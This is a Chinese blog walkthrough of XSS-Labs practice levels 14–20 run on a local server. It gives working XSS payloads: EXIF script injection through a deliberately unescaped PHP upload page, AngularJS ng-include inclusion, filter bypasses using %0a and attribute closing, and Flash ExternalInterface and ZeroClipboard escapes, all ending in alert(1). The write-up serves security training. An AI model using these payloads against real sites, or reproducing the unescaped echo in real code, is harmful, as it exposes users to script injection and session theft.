[靶场] XSS-Labs 14-20

由于有Flash XSS,需要配置一下环境,下载Flash和JPEXS(Flash反编译工具)。

14. Level14-图片EXIF注入

这关卡的iframe引用的地址打不开,我们自己写一个简单的放在本地服务器上,引用对应的URL就行,同时需要打开php_exif开关

index.php放在根目录,URL为http://127.0.0.1

<?php
   echo '
   <html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <title>欢迎来到level14</title>
    </head> 
   <center>
   <form action="./index.php" method=POST enctype=multipart/form-data>
   <label for=file>文件名:</label><input type=file name=file id=file><br>
   <input type=submit name=submit value=提交></form></center></html>';

    try{
        // 允许上传的图片后缀
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        $temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);     // 获取文件后缀名
        if ((($_FILES["file"]["type"] == "image/gif")
        || ($_FILES["file"]["type"] == "image/jpeg")
        || ($_FILES["file"]["type"] == "image/jpg")
        || ($_FILES["file"]["type"] == "image/pjpeg")
        || ($_FILES["file"]["type"] == "image/x-png")
        || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts))
        {
            if ($_FILES["file"]["error"] > 0)
            {
                echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            }
            else
            {
                echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
            }
            move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
        }
        else
        {
            echo "非法的文件格式";
        }
        $file = $_FILES["file"]["name"];

        $exif = exif_read_data($file, 0, true);
        echo "<h4>[ ".$file." ]的EXIF信息:</h4>";
        foreach ($exif as $key => $section) {
            foreach ($section as $name => $val) {
                echo "$key.$name: $val<br />\n";
            }
        }
    }catch (Exception $e){
        echo $e;
    }
?>

修改level14的iframe的src。

打开关卡14。这里的报错可以忽略,不影响。

 这需要上传图片,我们上传一个普通图片。打印出来图片EXIF信息。

 我们可以修改EXIF信息,向其中写入脚本,当后端读取并先到前端时,就会注入脚本,触发XSS。

 上传这个有脚本的图片,触发成功。

15. Level15-angularJS包含

这个需要使用angularJS,原地址无法使用,我们修改地址为:https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

打开关卡15。URL的src参数回显在下面的ng-include。

ng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS。

我们包含第一关的XSS。

http://127.0.0.1:8005/level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

16. Level16-%0a代替空格

打开关卡16。

其中script和/全部被替换,我们查看代码。

其中将script,空格,Tab,/全部替换,我们使用img绕过,空格用%0a替换。

http://127.0.0.1:8005/level16.php?keyword=<img%0asrc=x%0aonerror=alert(1)>

17. Level17

打开关卡17。这题是Flash XSS,但是我们用闭合属性也可以触发XSS。

http://127.0.0.1:8005/level17.php?arg01=a&arg02=" onmouseover=alert(1)

18. Level18

打开关卡18,也是考Flash XSS。同上17关,但是我们也使用闭合属性值触发。

http://127.0.0.1:8005/level18.php?arg01=a&arg02=" onmouseover=alert(1)

19. Level19

打开关卡19。

Flash提供相关的函数,可能触发Flash XSS:getURL,navigateToURL,ExternalInterface.call,htmlText。

Flash给出文字信息,我们进行Flash反编译。根据提示在sirf中找到源代码。

对比信息提示,我们跟踪其中的%s,这个应该是个占位符。

找到这里从参数中提取名为version的参数,替换到%s上。

在通过调用函数实现文本替换。

通过write方法输出。

我们使用a标签来触发XSS。

version=<a href="javascript:alert(1)">xss</a>

通过URL传递参数:

http://127.0.0.1:8005/level19.php?arg01=version&&arg02=<a href="javascript:alert(1)">xss</a>

20. Level20-开源swf组件产生的xss

打开关卡20,

是引用了Flash,我们进行代码审计。

ZeroClipboard.swf从url中获取参数,传给调用ExternalInterface.call函数。

实际上浏览器的执行过程为

try { 
    __flash__toXML(ZeroClipboard.dispatch("id")); 
} 
catch (e)
{ 
    "" ; 
}

由于没有过滤参数中的反斜杠\,在flash与js交互中,反斜杠跳过了__flash_toXML函数的限制,导致xss,如下:

用id值将代码修改,id闭合双引号、两个括号和一个大括号,在catch中触发XSS代码。

id=\"))} catch(e){alert(1)} //%26width=500%26height=500

 在URL中提交参数:

http://127.0.0.1:8005/level20.php?arg01=id&&arg02=\"))} catch(e){alert(1)} //%26width=500%26height=500

还有其他Payload:

参考文章:

flash(swf)安全总结_zzzzfeng的博客-CSDN博客

XSS挑战之旅--游戏闯关 - 简书

https://www.freesion.com/article/6253464226/

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值